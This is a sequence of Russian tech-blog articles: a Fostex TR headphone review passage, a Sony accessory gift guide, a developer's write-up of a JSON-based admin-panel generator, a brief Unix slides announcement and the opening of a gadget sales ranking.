взгляд картонная коробка скрывает хороший набор аксессуаров. Помимо самих наушников, здесь два вида кабелей (витой и прямой) длиной по 3 м. Необходимая для профессионалов вещь — переходник с 3,5 мм на 6,3 мм (вдруг вы все растеряли), плюс различная документация и небольшой мешочек из эко-кожи — мелочь, а приятно. Однако отдельного внимания заслуживают дополнительные подушки для амбушюров увеличенной толщины. Так ли сильна будет разница при прослушивании? Скоро узнаем. Внешний вид Поскольку наушники более доступные, чем те же TH-610 или TH-900, материалы у линейки TR тоже попроще: амбушюры и оголовье из искусственной кожи, корпус пластиковый, хотя и выполнено все очень качественно — взять ту же строчку на оголовье. Ощущается явное наследие Страны восходящего солнца: сделано всё со вкусом. По конструкции TR-70 сильно напоминают T40RP MK3, за исключением разного акустического оформления. Несмотря на то, что диаметр мембраны составляет 40 мм, нижнюю границу диапазона частот инженеры Fostex все равно смогли опустить до 5 Гц. Во всей серии TR компания применяет динамические драйверы собственной разработки. Кабель съемный с фиксацией: с одной стороны удобно, с другой — немного осложняет покупку запасного провода. Но это, пожалуй, мелочи. По бокам наушников расположена сетка, прикрытая и оформленная в «авиационном» стиле. За счет сеток наушники пропускают шумы в обоих направлениях, обеспечивая более естественный звук. Да, в общественном транспорте, метро или в самолете с ними будет проблематично, но зато дома, в офисе или в студии им не будет равных. Кроме того, за счет более низкого звукового давления, характерного для открытых наушников, TR-70 не «давят» на уши. Технические особенности Хотя многие больше ждали от линейки планарный драйвер, нежели динамический, Fostex все равно пошла по пути, так сказать, «наименьшего сопротивления». Хотя как наименьшего — 250 Ом это отнюдь не мало. Выбор высокоомных наушников в качестве представителей серии очевиден — работа усилителя с меньшим уровнем искажений. Кроме того, если использовать наушники в качестве студийных, высокий импеданс отлично подойдет для стационарной техники за счет отсутствия низкого ограничения по напряжению последней. Это позволяет получить достаточную мощность. 80 или 250 Ом? Ответ на этот вопрос прямо зависит от того, как вы собираетесь использовать наушники. Если планируете подключать их к смартфону и домашней стереосистеме, модель с сопротивлением 80 Ом станет отличным выбором. С низким импедансом наушники будут звучать громче, если подключать их к таким же устройствам. Для тех же, кому нужно высокое качество и более «чистый» звук, однозначно нужны высокоомные наушники. Как мы уже сказали, при использовании стационарной техники это must have. Для наглядности — если взять единую чувствительность в 96 дБ/мВт (как у тех же TR-80) и подать на наушники ровно 1 мВт, уровень звукового давления будет равен 96 дБ SPL. При этом для моделей с разным сопротивлением необходимо подать разные соотношения напряжения и тока. Разница лучше всего прослеживается, если сравнить низкоомную модель (например, 32 Ом) и высокоомную (600 Ом). Сопротивление, Ом 32 80 250 600 Напряжение (при 1 мВт), мВ 179 283 500 775 Ток (при 1 мВт), мА 5,6 3,5 2 1,3 Проще говоря, для низкоомной модели нужно низкое напряжение, но при этом высокое значение уровня тока. У высокоомной же все наоборот: высокое напряжение, низкий уровень тока. Звук Сначала хотели сравнить наушники с Fostex T-7, но потом пришли к выводу, что больше подойдет аналогия с теми же T40RP MK3. По сравнению с ними вся линейка TR играет ярко и вовлекающе и даже TR-70, несмотря на открытое акустическое оформление. Про воображаемую сцену, объем инструментов и глубокие басы с вашего позволения говорить не будем, лучше обратим внимание на то, влияет ли сопротивление и смена амбушюр на качество звука (кстати, для замены штатных на утолщенные нужна некоторая сноровка). По субъективным ощущениям — с толстыми амбушюрами звук поинтереснее и басистее, независимо от того, к чему подключать наушники. Может, сказывается то, что утолщенные мягче и комфортнее, да и уши чувствуют себя в них более просторно. Кто-то говорит, что вокал надо слушать только на штатных — мол, голос становится «глухим». Не заметили. Лучше прослушивать самостоятельно, желательно сразу сравнивая с другими моделями. Конечно, к обычному смартфону подключать наушники с импедансом 250 Ом нет смысла (мы уже говорили, почему). Поэтому сразу откладываем свои айфоны в сторону и берем в руки плеер, тот же OPPO HA-2. Наушники сразу играют по-новому, и это заметно. Однако наиболее впечатляющего эффекта можно достичь при подключении наушников к стационарной системе. Не зря вся линейка TR позиционируется больше как студийная. Что выбрать? С сопротивлением вроде бы разобрались, что же с акустическим оформлением? Здесь каждый опять же подбирает наушники под свои потребности. Да, закрытая конструкция устройства более практичная и удобная в эксплуатации, в то же время открытые наушники выдают более естественный звук. Так что все зависит больше от того, где вы будете использовать TR-70, TR-80 или TR-90. Не может не радовать, что в Fostex смогли найти оптимальный баланс между звучанием наушников, их внешним видом и ценой — теперь слово «студийные» не вводит многих в ступор. По сути, как мы сказали в начале, все три представителя линейки подойдут и для профессионального, и для личного пользования. Главное — правильно выбрать акустическое оформление и сопротивление.
https://geektimes.ru/company/hfhe/blog/284156/
habrahabr
10 лучших подарков для поклонника Sony
['sony', 'android', 'подарки', 'аксессуары', 'гарнитура', 'клавиатура', 'колонка']
Перед Новым годом в торговых центрах можно часто видеть людей с паникой в глазах: нужно купить подарок, а какой, непонятно. Угадать с презентом даже близкому человеку зачастую непросто. Мы выбрали...
Перед Новым годом в торговых центрах можно часто видеть людей с паникой в глазах: нужно купить подарок, а какой, непонятно. Угадать с презентом даже близкому человеку зачастую непросто. Мы выбрали десять лучших вещей для обладателя техники Sony – в первую очередь смартфонов новой линейки Xperia. Умный помощник Xperia Ear По виду Xperia Ear напоминает современную Bluetooth-гарнитуру, но на самом деле ее возможности куда шире. Это умный голосовой ассистент, который способен полностью освободить руки при использовании смартфона. Устройство умеет зачитывать новости и тексты сообщений, записывать ваши слова для заметок или ответных реплик, рассказывать о погоде, прокладывать маршрут до места назначения и уведомлять о новых письмах. Кроме голосового управления Xperia Ear распознает кивки головой в качестве команд для приема вызова или отбоя. Отличный подарок для людей, которые, например, много времени проводят за рулем и не могут напрямую работать со смартфоном. Док-станция Во время зарядки смартфоны обычно лежат на тумбочках и столах. С док-станцией устройство будет выглядеть так, будто это ценный предмет, специально выставленный на видное место. Учитывая стоимость некоторых смартфонов, они вполне заслуживают такого отношения к себе. Sony предлагает несколько док-станций под устройства с разными интерфейсами – microUSB либо новейший стандарт USB Type-C. В первом случае понадобится модель DK52 , во втором – DK60 . Bluetooth-гарнитура Об этой модели мы рассказывали вам отдельно . На компактном дисплее SBH54 отображаются входящие сообщения, последние вызовы, проигрываемые композиции и другая полезная информация. Заодно можно быстро переключать треки, слушать радио и вести разговоры. Вдобавок, гарнитура еще и выглядит стильно. Устройство предлагается в черном и золотистом исполнении. Беспроводная колонка Колонка BSP10 обманчива: выглядит миниатюрной, но играет превосходно. Модель ловит сигнал смартфона на расстоянии до десяти метров – можно свободно ходить даже по просторной комнате. Устройство обладает мудреной системой объемного звука, чтобы звучание распределялось равномерно по пространству. Кроме этого в BSP10 встроен микрофон, который позволяет при необходимости говорить по телефону. Встроенного аккумулятора хватает примерно на десять часов работы, так что ее спокойно можно брать с собой на дачу или в поход. Она компактная и поместится в небольшом кармане рюкзака. Умные часы Смарт-часы – тренд последних лет. Модель SmartWatch 3 не только следит за здоровьем, но еще и сообщает обо всех важных событиях: письма и сообщения, новости, погода, курсы валют, навигация – за этим не нужно лезть в карман, чтобы достать смартфон. Теперь информация находится не под рукой, а на ней. Подчеркнуть индивидуальный стиль помогут ремешки, которые можно докупить к SmartWatch 3. Скажем, для спортивной тренировки подойдет силиконовый вариант, а для деловой встречи – массивный браслет или кожаный ремешок. Чехол для смартфона Только купив телефон и сняв с него защитную пленку, хочется сохранить его первозданный вид как можно дольше. Ведь поцарапанный смартфон с экраном в «паутине» может намекнуть и на неряшливость владельца, что не всем понравится. На помощь приходят чехлы. Sony выпускает много вариантов для разных моделей. Например, Style Cover Touch для Xperia X Performance позволяет полноценно работать со смартфоном не откидывая переднюю крышку. Также есть Style Cover Flip с глухой передней крышкой, чехол-подставка SBC30 и прозрачный SBC28 . Защищенная гарнитура Sony SBH70 освобождает от проводов, которые скручиваются, цепляются за пуговицы, заклепки, молнии и вообще всячески мешают. Те провода, что тут есть, совсем короткие и нисколько не стесняют движений – они тянутся только от уха до шеи, где и крепится основной модуль гарнитуры. Устройство крепко держится на теле и устойчива к попаданию воды (по стандарту IP57), что делает ее отличным вариантом для пробежек на свежем воздухе – внезапный ливень SBH70 не страшен. В режиме воспроизведения музыки гарнитура продержится шесть часов, а при разговорах – 8,5. Как альтернативу можно рассмотреть стереогарнитуру MDR-NC750 . Фитнес-браслет Нательные устройства, кроме умения сообщать о новых уведомлениях, обладают еще одной крайне полезной функцией – отслеживанием вашей физической активности. Для людей, которые занимаются спортом или просто следят за своим здоровьем, это практически незаменимый гаджет, который точно окажется полезным. Браслет SmartBand Talk умеет считать ваши шаги, определяет, когда вы бежите или спите, а затем суммирует всю информацию и наглядно показывает результаты. Устройство можно брать с собой всюду: оно выдерживает погружение на глубину до полутора метров. Также модель выполняет функцию гарнитуры. Bluetooth-клавиатура Главный минус планшетов – сенсорная клавиатура. Что бы ни изобретали разработчики, печатать так же быстро, как на обычной клавиатуре с физическими кнопками, не получится. О десятипальцевом слепом методе сразу можно забыть. Когда важна мобильность и легкость устройства, а работа связана с написанием текстов, на помощь приходит BKB50 . Беспроводная клавиатура подключается по Bluetooth и фактически превращает планшет в ноутбук. Во-первых, кроме осязаемых кнопок есть и тачпад. А во-вторых, в специальную прорезь вставляется «таблетка», конструкция надежно держится и не развалится от неосторожного движения – по виду получается настоящий лаптоп. Умная колонка-будильник BSP60 Сперва кажется, что это шар судьбы – очень уж похоже выглядит. Но при включении устройство становится похоже на хайтек-будильник: две приподнятые пластинки корпуса вызывают ассоциации с винтажными будильниками. Кроме самой простой функции – срабатывания сигнала в заданное время, – BSP60 умеет много всего. Например, по запросу расскажет о погоде, напомнит список дел и, конечно, воспроизведет песни со смартфона. Устройство станет не только стильным украшением дома либо офиса, но и ценным помощником.
https://geektimes.ru/company/sonyxperia/blog/284148/
habrahabr
Генератор админок
['генератор админок', 'erp', 'нси', 'велосипедостроение', 'javascript', 'java', 'администрирование', 'разработка веб-сайтов']
Кратко суть проблемы: нужно было много админок, написал генератор админок. Как работает: описали сущности в JSON; сгенерировали схему БД (PostgreSQL); сгенерировали процедуры для...
Кратко суть проблемы: нужно было много админок, написал генератор админок. Как работает: описали сущности в JSON; сгенерировали схему БД (PostgreSQL); сгенерировали процедуры для БД; сгенерировали сервер (NodeJS или PHP); сгенерировали админку (HTML файл); накатили, задеплоили, скопировали все это; можно приступать к работе; Содержание: как дошёл до этого; почему не взял готовое решение; что получилось; что НЕ получилось; как оно работает; про UX; С чего началось Дело в том, что мне постоянно приходилось верстать админки для разных сервисов. Новый проект, новый сервер, новая админка. Иногда они писались с нуля, иногда получались копированием. Где-то на 13й админке я приуныл. Захотелось внести разнообразия. Поэтому новая админка для отдела статистики была сверстана в стиле 98 винды. Далее, в срочном порядке, методом «почкования» была получена админка отдела лицензирования, а вслед за ней — админка нового игрового портала. К этому моменту стало ясно, что некоторые компоненты одинаковы во всех проектах. Да и примеры использования также повторяются: вывести список; создать / редактировать / удалить элемент; назначить связь один ко многим или многие ко многим; Далее был написан генератор, который по шаблонам создавал основную базу кода. Понятно, что все «хотелки» приходилось дописывать вручную, но это уже был большой шаг вперед. Ещё через три админки стало ясно, что генерировать нужно не только верстку, но, желательно, и API сервера и схему БД. Это нужно было не во всех проектах, но в мимолётных «чик чик и в продакшен» было самое то. Т.к. разные ветки админок получали фиксы разных багов, к концу лета стало очевидно, что было бы очень хорошо слить все фиксы в одну ветку и качественно обновить генератор. Именно этим я и стал заниматься по вечерам и выходным. Масштабируемость уровня copy/past админок генератора первой версии Есть ли готовые админки и генераторы админок? Да , тысячи их . Что с ними не так: Заточенность под конкретный язык или фреймворк Например, если вы используете Laravel (PHP-фреймворк), можете взять SleepingOwl. Но если у вас бекенд на Java, то без PHP её никак не прикрутить. Монолитность Монолитность вытекает из предыдущего пункта. С одной стороны может быть очень крутая система, которая динамически меняет админку, в зависимости от схемы БД. С другой стороны, вы не можете эту связь убрать. Если вам нужна только верстка — будет больно. Так же будет больно, когда вы захотите подключить админку к вашей системе авторизации (во многих больших конторах есть единые системы авторизации, которые управляют доступом во все системы всех пользователей из одной точки управления). Заточенность под сайты Наверное, половина генераторов админок собирают различные вариации CMS-систем. Некоторые из них очень крутые, но они принципиально не годятся для управления контентом. Если загнать в них базу книг, то вот так просто взять и раскидать 100 книг по категориям будет очень больно. Трудность кастомизации Ну это и так понятно. «Нельзя сделать универсальную админку, каждый проект индивидуален» (с). Чего очень сильно не хватает в админках: Возможность создавать связь «многие ко многим» не переключаясь в режим редактирование контента. Пример: есть список из 100 игр, нужно быстро проставить им теги. В большинстве админок нужно открыть «редактирование игры», проставить тег, вернуться в «список игр». Возможность пакетного проставления связей, удаления или редактирования. Пример: выбрать 15 баннеров и сразу назначить им другой канал продвижения. Отсутствие логирования. Пример: смотрим контент и хотим тут же узнать, кто и когда его отредактировал, и что конкретно изменил. Возможность сделать дубликат объекта и всех его записей одним кликом. Пример: сделать копию рекламной компании со всеми её баннерами и площадками. Возможность импорта / экспорта данных в эксель. Пример: менеджерам нужно разово сверить в Excel контент и продажи, или отправить список чего-либо партнёрам. Сложные фильтры поиска (по группе свойств и с исключением). Пример: выбрать все книги из категорий «Классика» и «Романы», кроме тех, чей id: 20, 30, 65, и тех, кто отмечен тегом «Хит продаж». В SQL мы такое с ходу сделаем, а у манагеров в адмике фильтры, как правило, такие фокусы сделать не дадут. Исправлением этих проблем я и решил заняться. Понятно, что на самом деле, если ставить вопрос о кодо-генерации, то «хотелок» становится ещё больше. Тут нужен и вывод статистики, который тянет за собой анализ данных, и инструменты добавления «бизнес логики» для обработки влияния данных друг на друга и т.п. Тема очень обширна, но в виду ограниченности моей мотивации и человеко-часов разработки, все хотелки не реализовать. Пока хотелось бы закончить хотя бы минимальный базовый функционал. Что конкретно можно сделать? Забегая вперёд, логин/пароль: demodemo / qwerty123456 и права только на просмотр выставил (вдруг кто поломает и демки станут бесполезны раньше времени) Прайс Начнем с простого. Тут один парень радио-деталями оптом торгует. Нужно срочно прайс на сайте вывести с поиском. Всяких 1С-склад у него нет. Вжух, вывели: https://goo.gl/OIPQXv Пародию на JIRA По традиции JavaScript разработчикам TODO лист полагается писать. Давайте напишем TODO лист группы компаний. Чтобы там были дочерние компании, подразделения, отделы. А внутри отделов уже задачи. Задачи раскиданы по работникам. У каждого работника два листа: текущие задачи и очередь задач на будущее. Ахалай-махалай, готово: https://goo.gl/6UWqRn (demodemo / qwerty123456) Да, конечно. Ещё нужны комментарии к задачам и чтобы файлы можно было прикреплять. Это минимальный набор. Но эта админка сгенерирована на прошлой версии, которая ещё этого не поддерживала. В новой — уже исправлено. CRM Хотим свою CRM. Там будут компании, их офисы, и ключевые лица, раскиданные по офисам. Мы можем посмотреть описание компании или досье на каждое ключевое лицо, с которым непосредственно ведет работу наш менеджер (типа: карточка клиента). Далее нужна возможность создавать «событие», связанное с ключевым лицом (например: звонок, письмо, встреча). Ещё пусть будут отдельные списки: то что мы должны сейчас сделать, то что мы ждем от клиента, список косяков в наших взаимоотношениях. Эм… слабо всего семь объектов. Давайте ещё добавим отдельными сущностями разные типы клиентов (частны, юр. лица и т.д.) и разделение по профилю (перевозчики, тур операторы, отели и т.д.). Чик-чик, задеплоили: https://goo.gl/OcJU8g (demodemo / qwerty123456) Наверное, нужны ещё всякие отчеты, счета и склад товара, но с одной стороны я даже не представляю как работает бухгалтерия и склад, с другой стороны, возможно им стоит сделать отдельную админку, т.к. это другие отделы с другими бизнес процессами. Да, конечно, нужна ещё интеграция с АТС, рекламными площадками, и электро-почтой. Но это уже не «чик-чик демка» за 30 минут. JSON на входе — редактор НСИ на выходе В общем, суть такая — это редакторы номенклатурно-справочной информации (НСИ). Чем ближе ваш проект к редактору НСИ, тем больше вы получите «из коробки». Визуализацию данных, аналитику и логику пока придётся писать самим. Но даже так можно набросать аля прототим ERP-системы. Собственно осознание этого очень сильно мотивировало к дальнейшим действиям. Далее путем поиска и просмотра разных демок стало понятно, что: многие ERP системы уровня «стартап», не сильно превосходят по функционалу «чик-чик демку». Но из-за кодо-генерации «чик-чик демка» может сильно превзойти их. многие ERP системы строятся по такому же принципу кода-генерации и развертыванию из кучи конфигов. Например, была такая штука «Эталон», которая, судя по описаниям, была один в один как этот велосипед, только под DOS. Опять же — тысячи их. Зачем это вам? Предположим, вы пишите на Java, и вас постоянно мучают Ангуляром. Тут вы сможете сгенерировать админку и не лезть во фронт. Ну или другой вариант — у вас по архитектуре надо создать много таблиц (да да да, я знаю что вы, Java-мены, можете схему из класса накатывать и наоборот — класс генерировать по схеме БД), но вдруг не все могут. Или схему нужно будет накатывать архитектору, который не пишет на Java, а только с базой работает. Или вы вообще чистый фронт и не можете осилить реляционные БД — тут, по крайней мере, констрейны будут и индексы хоть какие-нибудь (хотя понятно, что схему БД запорите своей «денормализацией», но вдруг). Ну или у вас руки горят от желания пилить стартап уровня «рокет сайнс», и нет желания заниматься бытовухой по созданию инфраструктуры проекта. Ну для домашних проектов из трех таблиц сойдет. У нас бООООльшой проект, совсем другая история. Нет :) Т.к. кодо-генерация и состав админки чуть менее чем полностью из конфигов, то можно развернуть проект из 1000 объект. Другой вопрос — зачем? Обычно больше 20 сущностей в одном проекте — боль (тут будет уже от 40 до 100 таблиц в БД). Поэтому большие проекты делят на микросервисы, а микросервис — это уже в районе 100 таблиц. Плюс, мы можем задать отдельные настройки подключения к БД не только для каждой сущности, но и для её логов. Следовательно, «из коробки» мы можем писать логи в отдельную базу и оперировать сущностями из разных БД в одной админке. Плюс, авторизация изначально сделана отдельным модулем, как раз из-за того, что админки собираются на конвейере и есть отдельная система управления доступом (привет любителям ЕСИА, ОИБ`у, Sonat`е, %ваша_система_управления_доступом% ). Немного о том, как это работает и сколько весит Для начала нам нужно описать все сущности и их связи в виде JSON`а. Это один из самых трудных этапов. Как-то так { "objects": [ { "id": "distributionChannel", "name": { "logic": "DistributionChannel", "logicSmall": "distributionChannel", "layout": "distribution_channel" }, "properties": { "create": { "name": { "tag": "input", "type": "string", "min": 1, "max": 50 }, "description": { "tag": "textarea", "type": "string", "min": 1, "max": 500 } }, "update": { "name": { "tag": "input", "type": "string", "min": 1, "max": 50 }, "description": { "tag": "textarea", "type": "string", "min": 1, "max": 500 } }, "search": {} }, "visualization": { "main": { "name": { "type": "string", "min": 0, "max": 50 } }, "history": { "name": { "type": "string", "min": 0, "max": 50 } } } }, ... Далее запускаем ноду и создаем более подробные конфиги node config Получится несколько больших портянок { "objects": [ { "id": "distributionChannel", "name": { "logic": "DistributionChannel", "logicSmall": "distributionChannel", "layout": "distribution_channel" }, "aside": [ { "id": "create", "title": "Создание DistributionChannel", "buttons": [ { "tag":"popup_button", "icon": "menu", "value":"Меню", "id":"distribution_channel_aside_create_button_popup_menu" }, { "tag":"popup_button", "icon": "search", "value":"Поиск", "id":"distribution_channel_aside_create_button_popup_search" } ], "content": [ { "tag":"input", "type":"string", "min":1, "max":50, "id":"distribution_channel_aside_create_name" }, { "tag":"textarea", "type":"string", "min":1, "max":500, "id":"distribution_channel_aside_create_description" }, { "tag":"button", "title":"Создать", "id":"distribution_channel_aside_create_button_create" } ] } Можем переставить поля, что-то добавить или вырезать. Далее генерируем уже код (который в основной своей массе тоже файлы конфигов) node sql node nodejs node admin Пример одного из сотен созданных JS файлов (function () { "use strict"; function ToggleStyleContentSearchConfig() { return { common: [ { id: "content__search__processing", className: "hidden" }, { id: "content__search__not_found", className: "hidden" }, { id: "content__search__result", className: "hidden" } ], processing: [ { id: "content__search__processing", className: "loading__icon search_status__loading" } ], notFound: [ { id: "content__search__not_found", className: "search_status__message" } ], result: [ { id: "content__search__result", className: "search__container__result" } ] }; } module.exports = ToggleStyleContentSearchConfig; })(); Когда файлы готовы, выполняем сгенерированный SQL (для создания схемы в БД). Копируем файлы сервера в отдельную папку. Деплоим. Осталось собрать статику gulp gulp easy Статика соберется в один HTML файл, который нужно будет закинуть на сервер. Если все прошло успешно, можно попробовать пережать статику (-40% без или -8% с gzip) gulp hard Немного тех. характеристик + принципы разработки, состояние проекта на текущий момент, планы на будущее Немного цифр: База данных (сейчас PostgreSQL, планирую добавить MySQL) 1 сущность = (1 таблица обьектов + таблица логов) + n * (таблица связи многие ко многим + таблица логов); 1 сущность = 5 процедур для объекта (создание + редактирование + удаление + поиск + получение одного объекта) + 4 процедуры логов (создание + удаление + поиск + получение одного лога) + n * процедуры для связей (создание + удаление + поиск) + n * логи для связей (создание + удаление + поиск); Итого: (2 + n*2) таблиц и (9 + (n*3*3)) процедур, где n — число связей «многие ко многим» Сервер (сейчас NodeJS, планирую добавить PHP) Всего шесть файлов, т.к. все удачно уложилось в экземпляр одного класса с конфигами. Клиент (JS ванила) 1 сущность = ~10 файлов HTML + ~50 файлов JS + n * (~25 файлов для связи многие ко многим) Итого: Модель из 12 сущностей будет иметь примерно 50 таблиц, 160 процедур, 1000 файлов статики (HTML+CSS+JS). Статика после сборки и сжатия будет весить ~1мб (всё в одном HTML файле). Есть ещё «чудо-плагин», которым можно дожать после гугл-компилера до ~600кб, а на клиент после gzip прилетит ~85кб заменяем gzip на brotli, и дожимаем до 79кб . Большая часть файлов проекта (от 85%) — это однотипные конфиги аля JSON в обёртке. Поэтому проект можно очень гибко настроить после генерации файлов, и очень сильно сжать на сборке , и добавлять функионал copy/past`ом с поиском и заменой по папке . Принципы, которые легли в основу велосипеда: Верстка — это один HTML файл, не связанный с сервером. Единственное, что их связывает — формат AJAX-запросов и ответов. Хотите свой бекенд — смело заменяйте. Бекенд не знает структуры БД, но знает названия хранимок и аргументы. Хотите свою схему БД — пишите свою. Всё, что может быть описано конфигами — должно быть описано конфигами. Обычно они составляют более 85% файлов проекта (чем больше сущностей, тем больше процент). Все файлы и конфиги должны быть разложены так, чтобы новый функционал можно было добавить copy/past`ом нужной папки. Понятно, что что-то все равно придется исправить руками в коде, но чем меньше этих моментов — тем лучше. И тут сразу: — Хранимки зло! Только ORM!!!11 На самом деле нет. Этот аргумент уместен, если хранить бизнес логику в хранимках — тогда да. Но тут нет бизнес логики. Вся суть хранимок: отдать, создать, или изменить запись, без какой-либо логики. Ну и логирование не через тригеры, а только по запросу сервером соответствующей процедуры. Возникает вопрос: «А что делать, если мы захотим БД сменить? Хранимки придется переписать, а если бы через ORM — то нет.» Ну лично я, и никто из моих знакомых, не сталкивался с тем, что проект на ходу БД меняет. А если у вас возникнет такая ситуация, то, скорее всего, «переписать десять шаблонов генерации хранимок на другое подмножество языка SQL» будет самой меньшей проблемой. Состояние проекта на текущий момент: в сентябре практически с нуля пришлось все переделать. Зато поиск стал лучше, появились логи объектов, дизайн и т.п. в ноябре начали появляться фичи и первые два сервиса с новой базой. Режим для левшей, смена позиции, лог связей, пакетная обработка и т.п. в декабре пришлось переписать сервер, базу и поставить на раскорячку фронт. Думал, что до конца декабря успею собрать стабильную версию, но не успел. Тут уже общение с базой стало строго через процедуры, поиск по группам, поиск с исключениям, возможность добавлять комментарии и т.п. Ну или как-то так Реализовано: создание/редактирование/удаление сущности; поиск с фильтрами, сортировкой и постраничной выдачей; создание/редактирование простой связи двух сущностей; возможность задавать/менять позицию; логирование создания/редактирования сущности; логирование создания/редактирования простой связи двух сущностей; просмотр логов; генерация кастомных селектов (список значений которых зашивается, а не подгружается); пакетное добавление/удаление связи (многие ко многим) для сущностей; симлинк на поле, чтобы пропустить его создание (для дата-биндинга, пример: одно поле партнёр, на все сущности в смалл панели). referenceElementId; генерация независимых списков сущностей; возможность менять размер рабочей зоны; поиск по списку id объектов; автоподстройка количества строк при поиске; подсветка поискового запроса в результатах поиска; режим отображения «для левшей»; вставка поиска (создание/редактирование) в случайное место. Например: коментарии к таске; Мелкие баги: ошибка поиска: фильтр ref_channel_id. Нужно генерировать LEFT JOIN запросы для таких поисков и фильтров + доп. поля в форме поиска; починить вывод названия объектов в поиске для ref_ связей (пример lock, столбец cost); отображение детализации ошибок сервера; зачистка файлов + новая структура проекта. Нужно сделать более чистой финальную сборку сорцов; исправить поведение пакетного выделения объектов; починить расчет количества строка поиска для экрана; типизация данных в запросах; проверка файла перед перезаписью всегда пишет ошибку в консоль (которой по сути нет). Это напрягает, но не критично; Не реализованный функционал: логирование смены позиции; отображение/редактирование вложенных в сущности массивов (например: список переводов, вместо названия или список платежек, вместо метода оплаты); определение порядка загрузки сущностей; определение связанных полей (автопереключение всех, при изменение одного. Например: смена партнёра или канала продвижения); загрузка файлов «на лету»; загрузка файлов «по списку»; выгрузить результаты поиска в CSV (экспорт); загрузить результаты из CSV (импорт); копирование реверсивное/не реверсивное; добавить восстановление состояний по логам (когда открыли детализацию состояния объекта); пакетное удаление сущностей; описание и вынос post-compressor`а в отдельный проект; удобный генератор для конфига в виде отдельного приложения; поправить логирование истории объектов. Поле is_remove сделать change_type (0 — создали, 1 — отредактировали, 2 — удалили) локализация; адаптация под мобильники/планшеты; создание клиентской витрины; фильтры поиска как массив, а не единственное значение (множественные «включающие» и «исключающие» выборки); возможность выбора экрана отображения (main/aside) для операций каждого типа; вложенные папки через поле parent_id. Есть поле — есть папка, есть изменение фильтра поиска; управление с клавиатуры; переделать экран приветствия. Вывести на него граф связи сущностей проекта (как в админке банеров); написать СЕО текст; подключить плагин пагинации скролом; продумать систему авторизации для сторонних проектов. Переделать модуль авторизации (убрать Draft User); Не реализованный функционал по серверу: комментарии к таблицам в БД; проверка полей в объекте «сервиса», а не при создании «REST API»; генерация документации на методы API; модуль авторизации, не привязанный к Sonata; схема БД завязанная на доступ Партнёров или с наличием ограничений для пользователей; генерация сервера на PHP; Огромным плюсом является то, что это не «теоретическая разработка». Каждый компонент уже был в старых проектах или есть на текущих. Соответственно, список «хотелок» и порядок их реализации продиктован болью эксплуатации (ну и опытом развития чужих генераторов админок) . Что в планах на ближайший месяц: собрать в конце концов стабильную версию с процедурами перекатиться на PHP, т.к. сервер на ноде в обычной шарашке не развернуть. Да и обслуживать проще и дешевле. (грубо говоря, за 1500 руб. на год уже можно развернуть админку на ~20 тыс. записей) добавить работу с файлами написать скрипт для установки из коробки, а то сейчас приходится полтора часа копаться, чтобы развернуть проект (и это при том, что я знаю каждый файл в проекте) . Немного про UX Писать основной функционал довольно скучно. Когда надоедает, переключаюсь на баги и фичи. Вот одна из них. Есть право-стороние и лево-стороние интерфейсы. Те кто локализацию делают — собирают два вариант (привет badoo). У меня ещё + 2 варианта: для левшей и правшей. Разница в том, что интерфейс зеркалится не полностью, а только панелями управления. Русскому левше удобнее пользоваться отзеркаленными панелями управления, но информацию в таблицах читать слева направо. А левше арабу — наоборот, европейская раскладка панелей, но обратный порядок колонок в таблице. Правша европеец Левша араб Левша европеец Правша араб В разных проектах нужно разное соотношение зон «результаты поиска» и «редактирование элемента». Например, в книжном приложении для редактирования книг достаточно узкой панели справа. А в игровом приложении — изменение игры лучше делать в центральной части. Так же на это влияет предпочтения конкретного менеджера, который работает с проектом. Поэтому в новой версии соотношение зон «поиска» и «редактирования» можно менять в настройках. Те, кто работает со статистикой, как правило, много времени проводят в Excel или аналогичных программах. Они привыкли к строкам высотой примерно 16px. Те, кто работает с различными CMS сайтов и веб-мордами на bootstrap`е, привыкли к высоте строки в 32px. Поэтому высота строки так же вынесена в настройки. Есть мнение , о том что скролл — зло. Почему так вышло — тема отдельной статьи. Я согласен с этим. Но указать точное количество строк, которые поместятся на экране невозможно, т.к. у всех разные мониторы. Поэтому, админка при старте вычисляет оптимальное количество строк для текущих настроек с данным монитором. Их всегда ровно столько, сколько максимально помещается на экране без создания вертикального скролла. В заключение Что думаете, коллеги? Каталогизатор книг, деталей, или любой другой нормативно-справочной информации, с веб-мордой никому не нужен? inb4: это уже было в Django где ссылка на github? на реальном проекте не взлетит! фу, переписывать на PHP, ставлю минус!!!11 где чарты? стата на главной — это база! нарезать конфиги != кодо-генерации всё глючит, продукт сырой интерфейс непонятный! почему нет React`а? это уже было… а где скачать установочный файл? без анализа данных оно не нужно! почему не MongoDB? LIKE это медленно! а документация будет? почему покрытие тестами нулевое? верстка не flexbox`ами, убей себя! а есть версия для мобильников? статья ни о чём! у меня вёрстка поехала!
https://habrahabr.ru/post/318332/
habrahabr
Подборка полезных слайдов про *nix 2: Возвращение слайдов
['перевод', 'linux', 'linux для всех', 'администрирование', 'сети для самых маленьких', 'сеть', 'сетевое администрирование']
Полезные слайды об основах Unix, Linux, сетевых технологий пера Джулии Эванс возвращаются. PDF-версия прямо здесь 2016 год останется в прошлом уже через 3...
Полезные слайды об основах Unix, Linux, сетевых технологий пера Джулии Эванс возвращаются. PDF-версия прямо здесь 2016 год останется в прошлом уже через 3 дня, а значит подошло время публикации нашего новогоднего баша. Подключайтесь к нам в vk.com . Проверить полученные знания можно у нас на VDS .
https://habrahabr.ru/company/first/blog/318646/
habrahabr
ТОП-10 новогодних подарков по данным продаж Madrobots
['популярные гаджеты', 'статистика', 'madrobots']
Мы в Madrobots, как и все другие интернет-магазины, стараемся анализировать свою работу в течение года. Среди прочих моментов, которые мы анализируем — объем продаж различных товаров. Продажи...
Мы в Madrobots, как и все другие интернет-магазины, стараемся анализировать свою работу в течение года. Среди прочих моментов, которые мы анализируем — объем продаж различных товаров. Продажи тщательно отслеживаются, а результаты анализа текущей ситуации мы используем для создания плана работ/продаж на грядущий период (год, месяц, неделя). На днях решили в очередной раз посмотреть, какие товары у нас продаются лучше всего, и составили своеобразный топ-10. В общем, решили поделиться этой информацией с читателями Geektimes. Возможно, кто-то тоже занимается продажами, и эта информация будет интересной. Ну, а гикам можно будет понять, что сейчас в России в тренде. В следующий раз, кстати, проведем оценку самых продаваемых товаров с Amazon, точнее, товаров с площадки Amazon Launchpad. Итак, топ-10 самых продаваемых товаров Madrobots, встречаем! Сначала табличка — это сводная продаж за месяц, в штуках, с конца ноября по текущую дату. Fidget Cube — волшебный кубик для успокоения и концентрации Этот кубик мы уже описывали на страницах Geektimes. Он представляет собой комбинированную систему, которая включает большое количество «сенсомоторных средств релаксации и концентрации». Здесь есть даже 